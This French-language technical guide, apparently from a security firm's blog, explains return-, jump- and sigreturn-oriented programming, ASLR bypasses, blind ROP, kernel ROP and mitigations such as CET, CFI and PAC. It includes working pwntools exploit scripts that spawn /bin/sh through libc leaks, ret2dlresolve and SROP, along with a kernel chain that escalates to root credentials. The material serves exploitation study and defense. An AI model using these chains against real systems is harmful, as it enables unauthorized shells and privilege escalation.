Le Return-Oriented Programming (ROP) et le Jump-Oriented Programming (JOP) représentent les techniques d'exploitation les plus sophistiquées pour contourner les protections mémoire modernes. Face au déploiement massif de DEP/NX (Data Execution Prevention / No-eXecute) qui interdit l'exécution de code sur la stack et la heap, les attaquants ont développé des méthodes ingénieuses pour réutiliser des fragments de code légitime existant en mémoire. Ce guide technique approfondi détaille l'ensemble de la chaîne d'exploitation ROP et JOP, depuis la théorie de la programmation orientée retour jusqu'aux techniques modernes de contournement de CFI, ASLR et CET. Les chercheurs en sécurité, les développeurs d'exploits et les analystes de vulnérabilités trouveront ici des exemples de code complets avec pwntools, ROPgadget et ropper, ainsi que des études de cas sur des CVE réelles exploitant ces techniques sur Linux, Windows et les systèmes embarqués.

En bref

  • Théorie du ROP : chaînes de gadgets, stack pivoting et Turing-completeness
  • JOP et COP : variantes sans instruction ret pour contourner les détections
  • Contournement ASLR : information leaks, ret2plt, partial overwrite et brute-force
  • Mitigations : CET Shadow Stack, CFI (Control Flow Integrity), PAC (ARM)
  • Outils : ROPgadget, ropper, pwntools ROP module, angr pour la recherche automatique
ROP (Return-Oriented Programming) — Technique d'exploitation qui enchaîne des petits fragments de code existant (gadgets) se terminant par une instruction ret. Chaque gadget effectue une opération simple (charger un registre, effectuer un calcul), et leur enchaînement via la stack permet d'exécuter du code arbitraire sans injecter de nouvelles instructions.

Fondements du Return-Oriented Programming

Le ROP a été formalisé en 2007 par Hovav Shacham dans l'article fondateur "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls". L'insight clé est que tout programme suffisamment grand contient des séquences d'instructions involontaires — les gadgets — qui, enchaînées via la stack, forment un langage de programmation Turing-complet. Un gadget est typiquement une séquence de 1 à 5 instructions se terminant par ret (0xc3 en x86). L'instruction ret pop l'adresse de retour depuis la stack et y saute — si l'attaquant contrôle la stack, il contrôle le flux d'exécution.

Anatomie d'un Gadget ROP

Les gadgets ROP sont classés par fonction :

Type de GadgetExemple (x86_64)FonctionUtilisation
Load registerpop rdi; retCharge une valeur dans rdiPasser le 1er argument à une fonction
Store memorymov [rax], rdx; retÉcrit rdx à l'adresse dans raxWrite-what-where primitif
Arithmeticadd rax, rbx; retAdditionCalcul d'adresse
Syscallsyscall; retAppel systèmeexecve, mprotect
Stack pivotxchg rsp, rax; retChange le stack pointerMigrer vers une zone contrôlée
Conditionalcmp rax, rbx; cmovne rcx, rdx; retBranchement conditionnelLogique conditionnelle

Sur les architectures x86/x86_64, les instructions à longueur variable créent des gadgets non-intentionnels : en sautant au milieu d'une instruction multi-octets, le processeur décode une séquence d'instructions différente. Par exemple, l'instruction movabs rax, 0x4839c3c0315bc358 contient les octets 58 c3 5b 31 c0 c3 39 48 qui, lus à des offsets différents, produisent pop rax; ret (offset +0) ou pop rbx; xor eax, eax; ret (offset +2).

Construction d'une Chaîne ROP Complète

Une chaîne ROP typique pour obtenir un shell sur Linux x86_64 prépare les registres pour l'appel système execve("/bin/sh", NULL, NULL) :

#!/usr/bin/env python3
from pwn import *

elf = ELF('./vulnerable_binary')
rop = ROP(elf)
libc = ELF('./libc.so.6')

p = process('./vulnerable_binary')

# Étape 1 : Leak de l'adresse de libc via puts@plt
rop.puts(elf.got['puts'])       # puts(GOT[puts]) → leak adresse libc
rop.call(elf.sym['main'])       # Retourner à main pour la 2ème exploitation

payload = flat(
    b'A' * 72,                  # Padding jusqu'à l'adresse de retour
    rop.chain()                  # Chaîne ROP : pop rdi; GOT[puts]; puts@plt; main
)
p.sendline(payload)

# Étape 2 : Calculer l'adresse de base de libc
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f'libc base: {hex(libc.address)}')

# Étape 3 : Construire la chaîne ROP finale avec libc
rop2 = ROP(libc)
rop2.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
# Équivalent manuel :
# pop rdi; ret  → adresse de "/bin/sh"
# pop rsi; ret  → 0 (argv = NULL)
# pop rdx; ret  → 0 (envp = NULL)
# syscall       → execve

payload2 = flat(
    b'A' * 72,
    rop2.chain()
)
p.sendline(payload2)
p.interactive()  # Shell obtenu !

Ret2libc : L'Ancêtre du ROP

Le ret2libc (return-to-libc) est le précurseur du ROP. Au lieu d'exécuter du shellcode, l'attaquant redirige l'exécution vers des fonctions existantes de la libc — typiquement system("/bin/sh"). Sur x86 32 bits, les arguments sont passés sur la stack, ce qui simplifie l'exploitation : il suffit de placer l'adresse de system() comme adresse de retour, suivie d'une fausse adresse de retour, puis de l'adresse de la chaîne "/bin/sh".

Sur x86_64, les arguments sont passés dans les registres (rdi, rsi, rdx...), ce qui nécessite des gadgets pop rdi; ret pour charger l'argument — c'est pourquoi le ROP s'est généralisé sur les architectures 64 bits. La technique ret2libc pure est devenue un cas particulier de chaîne ROP à un seul gadget.

Stack Pivoting : Changer de Stack

Le stack pivoting est utilisé quand l'espace contrôlé sur la stack est trop petit pour contenir la chaîne ROP complète. L'attaquant utilise un gadget qui modifie le registre rsp pour le pointer vers une zone mémoire plus grande qu'il contrôle (buffer sur la heap, section .bss, variable globale). Les gadgets de stack pivot courants :

; Gadgets de stack pivot
xchg rsp, rax ; ret       ; Échange rsp avec rax
leave ; ret                ; mov rsp, rbp ; pop rbp ; ret
add rsp, 0x100 ; ret       ; Avancer le stack pointer
pop rsp ; ret              ; Charger une nouvelle adresse dans rsp
mov rsp, [rbp-0x8] ; ret   ; Charger rsp depuis la stack frame

Le gadget leave; ret est le plus courant car il est présent dans l'épilogue de presque toutes les fonctions. Il effectue mov rsp, rbp; pop rbp; ret — si l'attaquant contrôle rbp (via un pop rbp; ret préalable), il peut rediriger la stack vers n'importe quelle adresse lisible.

Contournement de l'ASLR pour le ROP

L'ASLR randomise les adresses de la libc, du binaire (PIE) et de la stack à chaque exécution. Sans connaître ces adresses, les gadgets ROP ne peuvent pas être localisés. Les techniques de contournement :

  • Information leak via format string : une vulnérabilité printf(user_input) permet de lire des adresses de la stack (adresses de retour, saved rbp) qui révèlent les bases de la libc et du binaire.
  • Partial overwrite : écraser uniquement les 1-2 octets de poids faible d'une adresse de retour. Les 12 bits de poids faible ne sont pas randomisés par l'ASLR (alignement de page), ce qui permet de rediriger vers un gadget dans la même page avec une probabilité de 1/16 (4 bits inconnus).
  • Ret2plt : les entrées PLT ont des adresses fixes (dans un binaire non-PIE) et appellent les fonctions de la libc via la GOT. puts@plt(GOT[puts]) affiche l'adresse réelle de puts dans la libc.
  • DynELF (pwntools) : résolution automatique de symboles libc en utilisant un primitif de lecture arbitraire (leak function). Trouve system() sans connaître la version de libc.
  • Ret2dlresolve : technique avancée qui forge des structures de résolution dynamique (Elf64_Sym, Elf64_Rela) sur la stack pour résoudre une fonction arbitraire sans leak. Indépendant de la version de libc.

Ret2dlresolve : Exploitation sans Leak

Le ret2dlresolve exploite le mécanisme de résolution paresseuse (lazy binding) du linker dynamique. Lors du premier appel à une fonction importée, le PLT appelle _dl_runtime_resolve(link_map, reloc_index) qui résout le symbole. En forgeant de faux Elf64_Rela, Elf64_Sym et strtab entries pointant vers la chaîne "system", l'attaquant force le linker à résoudre "system" — sans connaître son adresse réelle.

# Ret2dlresolve automatisé avec pwntools
from pwn import *

elf = ELF('./vuln')
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])

rop.read(0, dlresolve.data_addr)  # Lire les fausses structures depuis stdin
rop.ret2dlresolve(dlresolve)       # Appeler _dl_runtime_resolve avec le faux index

p = process('./vuln')
p.sendline(flat(b'A' * 72, rop.chain()))
p.sendline(dlresolve.payload)     # Envoyer les fausses structures ELF
p.interactive()

JOP et COP : Au-delà du ROP

Le Jump-Oriented Programming (JOP) et le Call-Oriented Programming (COP) sont des variantes du ROP qui n'utilisent pas l'instruction ret. Motivation : les mitigations comme CET Shadow Stack et les détections heuristiques ciblent spécifiquement les séquences de ret anormales. Le JOP utilise des gadgets se terminant par jmp [reg] ou jmp [mem], avec un dispatcher gadget qui orchestre l'enchaînement.

; JOP : Dispatcher gadget pattern
; Le dispatcher incrémente un index dans une table de gadgets
; et saute au gadget suivant
dispatcher:
    add rax, 8          ; Avancer dans la dispatch table
    jmp [rax]           ; Sauter au prochain gadget fonctionnel

; Gadgets fonctionnels JOP (se terminent par jmp [reg])
gadget1: pop rdi ; jmp [rax]    ; Charge rdi, retourne au dispatcher
gadget2: pop rsi ; jmp [rax]    ; Charge rsi, retourne au dispatcher
gadget3: syscall ; jmp [rax]    ; Appel système, retourne au dispatcher

; La dispatch table (contrôlée par l'attaquant) :
; [&gadget1, &gadget2, &gadget3, ...]

Le COP utilise des gadgets se terminant par call [reg]. La différence avec le ROP est que call push l'adresse de retour sur la stack avant de sauter, ce qui modifie le layout de la stack. Les chaînes COP nécessitent des gadgets d'ajustement (add rsp, 8; ret) pour compenser ce push supplémentaire.

SROP : Sigreturn-Oriented Programming

Le SROP (Sigreturn-Oriented Programming) exploite le mécanisme de gestion des signaux Unix. Quand un signal est délivré, le noyau sauvegarde l'état complet des registres sur la stack dans une structure sigcontext. Au retour du signal handler, sigreturn() restaure tous les registres depuis cette structure. Un attaquant qui contrôle la stack peut forger un faux sigcontext et appeler sigreturn() pour charger des valeurs arbitraires dans tous les registres simultanément — y compris rip, rsp, rdi, rsi, rdx.

# SROP avec pwntools — un seul gadget nécessaire : syscall; ret
from pwn import *

frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # syscall number
frame.rdi = binsh_addr             # 1er arg : "/bin/sh"
frame.rsi = 0                      # 2ème arg : NULL
frame.rdx = 0                      # 3ème arg : NULL
frame.rip = syscall_ret_addr       # Adresse de syscall; ret

payload = flat(
    b'A' * 72,
    pop_rax_ret,                   # Gadget : pop rax; ret
    constants.SYS_rt_sigreturn,    # rax = 15 (sigreturn)
    syscall_ret_addr,              # syscall → sigreturn(frame)
    bytes(frame)                   # Faux sigcontext sur la stack
)

L'avantage majeur du SROP est qu'il ne nécessite que deux gadgets : pop rax; ret et syscall; ret. L'ensemble de la configuration des registres est effectué par le noyau via sigreturn(), éliminant le besoin de nombreux gadgets pop; ret.

One-Gadgets et Magic Gadgets

Un one-gadget (aussi appelé magic gadget) est une adresse dans la libc qui, lorsqu'elle est atteinte avec les bonnes conditions de registres, exécute execve("/bin/sh", NULL, NULL) directement. L'outil one_gadget de David942j les identifie automatiquement :

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
  constraints:
    rsp & 0xf == 0
    rcx == NULL || {rcx, "rsp+0x40", rax, ...}
    
0x4f302 execve("/bin/sh", rsp+0x40, environ)
  constraints:
    [rsp+0x40] == NULL || ...
    
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
  constraints:
    [rsp+0x70] == NULL

Les one-gadgets simplifient considérablement l'exploitation : au lieu de construire une chaîne ROP complète, il suffit de rediriger l'exécution vers cette unique adresse. La difficulté réside dans la satisfaction des contraintes (certains registres ou positions stack doivent être NULL), ce qui nécessite parfois des gadgets préparatoires.

ROP sur ARM et MIPS

L'exploitation ROP sur les architectures ARM et MIPS présente des spécificités importantes par rapport à x86 :

  • ARM (AArch64) : Les instructions sont de taille fixe (4 octets), éliminant les gadgets non-intentionnels. Les gadgets sont moins nombreux mais plus prévisibles. Le registre x30 (LR - Link Register) contient l'adresse de retour, et l'instruction ret saute à x30. Le PAC (Pointer Authentication Code) sur Apple Silicon signe les adresses de retour avec un PAC cryptographique, rendant le ROP classique impossible sans bypass du PAC.
  • ARM Thumb mode : Les instructions de 2 octets permettent des gadgets non-intentionnels similaires à x86. Le switch entre modes ARM (4 octets) et Thumb (2 octets) complique l'analyse mais enrichit l'ensemble de gadgets.
  • MIPS : Architecture load-store avec delay slots — l'instruction après un branch est toujours exécutée. Les gadgets MIPS doivent prendre en compte ces delay slots. L'instruction jr $ra est l'équivalent de ret.

Outils de Recherche de Gadgets

La recherche de gadgets dans des binaires volumineux nécessite des outils spécialisés :

OutilLangagePoints fortsCommande type
ROPgadgetPythonRecherche exhaustive, multi-arch, génération automatique de chaînesROPgadget --binary ./vuln --ropchain
ropperPythonRecherche sémantique, filtrage avancé, JOP/COPropper -f ./vuln --search "pop rdi"
pwntools ROPPythonIntégré à pwntools, construction automatique de chaînesROP(elf).find_gadget(['pop rdi', 'ret'])
angrPythonExécution symbolique pour trouver des gadgets complexesAnalyse de satisfiabilité des contraintes
xropCTrès rapide, adapté aux gros binairesxrop -r ./vuln
Radare2 /ragg2CIntégré à l'environnement r2, multi-formatr2 -qc "/R pop rdi" ./vuln

CET Shadow Stack : La Mitigation Hardware

Intel CET (Control-flow Enforcement Technology) est une mitigation hardware déployée depuis les processeurs Intel Tiger Lake (11ème gen) et AMD Zen 3. Elle comprend deux composants :

  • Shadow Stack : Une seconde stack en lecture seule qui stocke uniquement les adresses de retour. Chaque call push l'adresse de retour sur les deux stacks. Chaque ret compare l'adresse de retour de la stack normale avec celle de la shadow stack — si elles diffèrent, une exception #CP (Control Protection) est levée. Le ROP classique est détecté car l'attaquant ne peut pas modifier la shadow stack.
  • IBT (Indirect Branch Tracking) : Chaque cible de saut indirect (jmp [reg], call [reg]) doit commencer par l'instruction ENDBR64. Les gadgets JOP/COP qui ne commencent pas par ENDBR64 déclenchent une exception. Cela réduit drastiquement l'ensemble de gadgets utilisables mais ne l'élimine pas — les fonctions légitimes commençant par ENDBR64 restent des cibles valides.
⚠️ Attention — CET Shadow Stack est efficace contre le ROP classique mais peut être contourné via des attaques sur le noyau (kernel exploits modifiant les MSR CET), le WRSS instruction (écriture dans la shadow stack, restreinte au kernel), ou en ciblant des processus sans CET activé. En 2026, la couverture CET est encore incomplète — de nombreuses applications et bibliothèques ne sont pas compilées avec le support CET.

CFI (Control Flow Integrity) : Protection Software

Le CFI est une famille de protections software qui vérifient l'intégrité du flux de contrôle à l'exécution. Clang/LLVM implémente plusieurs variantes :

  • Forward-edge CFI : Vérifie que les appels indirects (call [reg]) ciblent des fonctions dont le type correspond à la signature attendue. Implémenté via -fsanitize=cfi-icall.
  • Backward-edge CFI : Vérifie les adresses de retour (shadow stack software). Implémenté via -fsanitize=shadow-call-stack (ARM64).
  • CFI Cross-DSO : Étend les vérifications CFI à travers les bibliothèques partagées. Nécessite que toutes les bibliothèques soient compilées avec CFI.

Contournements du CFI : type confusion (appeler une fonction du bon type mais avec des arguments malveillants), data-only attacks (modifier des données de contrôle sans détourner le flux d'instructions), COOP (Counterfeit Object-Oriented Programming — enchaîner des appels à des méthodes virtuelles C++ légitimes).

PAC (Pointer Authentication) sur Apple Silicon

Apple Silicon (M1+) implémente le PAC (Pointer Authentication Code) — une extension ARMv8.3 qui signe cryptographiquement les pointeurs avec un code d'authentification intégré dans les bits inutilisés (bits 48-63 sur les systèmes avec 48 bits d'adressage). Chaque pointeur de retour est signé avec PACIASP (PAC Instruction Address with SP key) et vérifié avec AUTIASP avant utilisation. Un pointeur avec un PAC invalide déclenche une exception lors du déréférencement.

Contournements publiés : PACMAN (2022, MIT) exploite un side-channel via la spéculation pour tester des PAC candidats sans déclencher de crash. ForgePAC contourne le PAC en ciblant des pointeurs non protégés (pas toutes les fonctions utilisent PAC de manière systématique). PAC-bypass via kernel exploit : un exploit kernel peut lire la clé PAC depuis les registres système.

Exploitation ROP sous Windows

L'exploitation ROP sous Windows présente des spécificités liées à l'écosystème Microsoft :

  • Gadgets dans ntdll.dll : ntdll est chargée à une adresse constante au sein d'une session de boot (même base pour tous les processus). Les gadgets dans ntdll sont réutilisables entre exploits.
  • VirtualProtect ROP : la technique classique est de construire une chaîne ROP qui appelle VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &old) pour rendre le shellcode exécutable, puis d'y sauter.
  • Windows CFG (Control Flow Guard) : vérifie les cibles d'appels indirects contre un bitmap de fonctions valides. Contournement : cibler des fonctions dans le bitmap (e.g., longjmp), ou corrompre le bitmap via une écriture arbitraire.
  • ACG (Arbitrary Code Guard) : empêche l'allocation de pages RWX et la modification des permissions de pages exécutables. Combiné avec CIG (Code Integrity Guard), même VirtualProtect ne peut plus rendre du code écrit exécutable.

Data-Only Attacks : L'Avenir Post-ROP

Face au déploiement de CET, CFI et PAC, les data-only attacks représentent la prochaine frontière de l'exploitation. Au lieu de détourner le flux de contrôle (ROP/JOP), l'attaquant modifie uniquement des données qui influencent les décisions du programme :

  • DOP (Data-Oriented Programming) : enchaîner des opérations sur les données via des boucles existantes dans le programme. Turing-complet sans modifier le flux de contrôle.
  • Non-control data attacks : modifier des variables de configuration (is_admin, privilege_level), des pointeurs de fichiers, ou des compteurs de boucles.
  • JIT-ROP : utiliser un primitif de lecture pour scanner dynamiquement la mémoire à la recherche de gadgets, construire la chaîne ROP au runtime. Contourne le code diversification car les gadgets sont découverts, pas prédits.

Blind ROP (BROP) : Exploitation sans Binaire

Le BROP (Blind Return Oriented Programming), introduit par Andrea Bittau en 2014, permet l'exploitation ROP d'un serveur distant sans accès au binaire. L'attaquant utilise des crash oracle (le serveur fork() à chaque connexion, préservant le layout ASLR) pour scanner la mémoire octet par octet et identifier les gadgets. Le processus :

  1. Stack reading : identifier le canary (si présent) et l'adresse de retour par brute-force octet par octet (256 tentatives par octet).
  2. Gadget scanning : envoyer des adresses candidates et observer le comportement (crash, hang, réponse) pour identifier les gadgets stop, pop; ret, et syscall.
  3. PLT scanning : identifier les entrées PLT (write, strcmp, dup2) pour construire un primitif de lecture.
  4. Dump du binaire : utiliser le primitif de lecture pour télécharger le binaire distant et finaliser l'exploitation avec des gadgets précis.

ROP dans le Contexte Kernel

L'exploitation ROP dans le noyau Linux a des spécificités importantes. Le SMEP (Supervisor Mode Execution Prevention) empêche le noyau d'exécuter du code dans les pages utilisateur — le ret2user classique est bloqué. Le SMAP (Supervisor Mode Access Prevention) empêche même la lecture des données utilisateur par le noyau. L'attaquant doit utiliser des gadgets ROP trouvés dans le code kernel lui-même (vmlinux, modules).

# Kernel ROP : escalade de privilèges via commit_creds(prepare_kernel_cred(0))
# Les adresses sont résolues via /proc/kallsyms ou un info leak

kernel_rop = flat(
    pop_rdi_ret,                    # pop rdi; ret
    0,                               # rdi = 0 (root credentials)
    prepare_kernel_cred,             # prepare_kernel_cred(0)
    mov_rdi_rax_ret,                 # mov rdi, rax; ret (rax = new cred)
    commit_creds,                    # commit_creds(new_cred)
    swapgs_restore_regs_iretq,       # Retour en userspace
    user_rip,                        # RIP après retour
    user_cs, user_rflags,            # Registres pour iretq
    user_sp, user_ss                 # Stack utilisateur
)
💡 Conseil pratique — Pour le debugging des chaînes ROP, utilisez pwntools avec context.log_level = 'debug' pour voir tous les échanges avec le processus. Combinez avec gdb.attach(p, gdbscript='b *0x401234') pour placer des breakpoints précis sur les gadgets.

À retenir

  • Le ROP enchaîne des gadgets (instructions + ret) trouvés dans le code existant pour exécuter du code arbitraire sans injection
  • Le JOP/COP utilise des gadgets sans ret (jmp/call) pour contourner les détections ciblant les séquences ret anormales
  • SROP (Sigreturn-Oriented Programming) permet de charger TOUS les registres avec seulement 2 gadgets
  • CET Shadow Stack (hardware) et CFI (software) sont les principales mitigations — mais restent contournables
  • Les data-only attacks (DOP) représentent l'avenir post-ROP : modification de données sans détournement du flux de contrôle
  • BROP permet l'exploitation ROP d'un serveur distant SANS accès au binaire

FAQ — Questions Fréquentes

Quelle est la différence entre ROP, JOP et SROP ?

Le ROP utilise des gadgets se terminant par ret, enchaînés via la stack. Le JOP utilise des gadgets se terminant par jmp [reg], orchestrés par un dispatcher gadget — il contourne les détections ciblant les ret. Le SROP exploite le mécanisme de signaux Unix : un seul appel à sigreturn() charge tous les registres depuis un faux sigcontext sur la stack, nécessitant seulement 2 gadgets au lieu de dizaines.

CET Shadow Stack rend-il le ROP impossible ?

CET Shadow Stack rend le ROP classique impraticable car chaque ret vérifie que l'adresse correspond à celle sauvegardée sur la shadow stack. Cependant, des contournements existent : exploitation de code sans CET activé, attaques kernel pour désactiver CET via les MSR, COP/JOP qui n'utilisent pas ret, et les data-only attacks qui ne détournent pas le flux de contrôle. En 2026, la couverture CET reste incomplète.

Comment trouver des gadgets ROP dans un binaire ?

Utilisez ROPgadget (ROPgadget --binary ./vuln --ropchain) pour une recherche exhaustive avec génération automatique de chaînes. ropper offre une recherche sémantique (ropper --search 'pop rdi'). Le module ROP de pwntools intègre la recherche de gadgets avec la construction automatique de chaînes. Pour les gadgets complexes, angr utilise l'exécution symbolique pour trouver des séquences satisfaisant des contraintes spécifiques.

Qu'est-ce qu'un one-gadget et quand l'utiliser ?

Un one-gadget est une adresse dans la libc qui exécute directement execve('/bin/sh', NULL, NULL) sous certaines conditions de registres. L'outil one_gadget les identifie avec leurs contraintes. Utilisez-les quand l'espace pour la chaîne ROP est limité ou quand les conditions sont facilement satisfaites. Si aucun one-gadget ne fonctionne, construisez une chaîne ROP classique avec pop rdi; ret + system.

Besoin d'un audit de sécurité applicative ?

Nos experts en exploitation binaire évaluent la robustesse de vos applications face aux attaques ROP/JOP et aux techniques modernes de contournement.

Contactez-nous
Article recommandé : Linux Kernel Exploitation : Escalade de Privilèges Noyau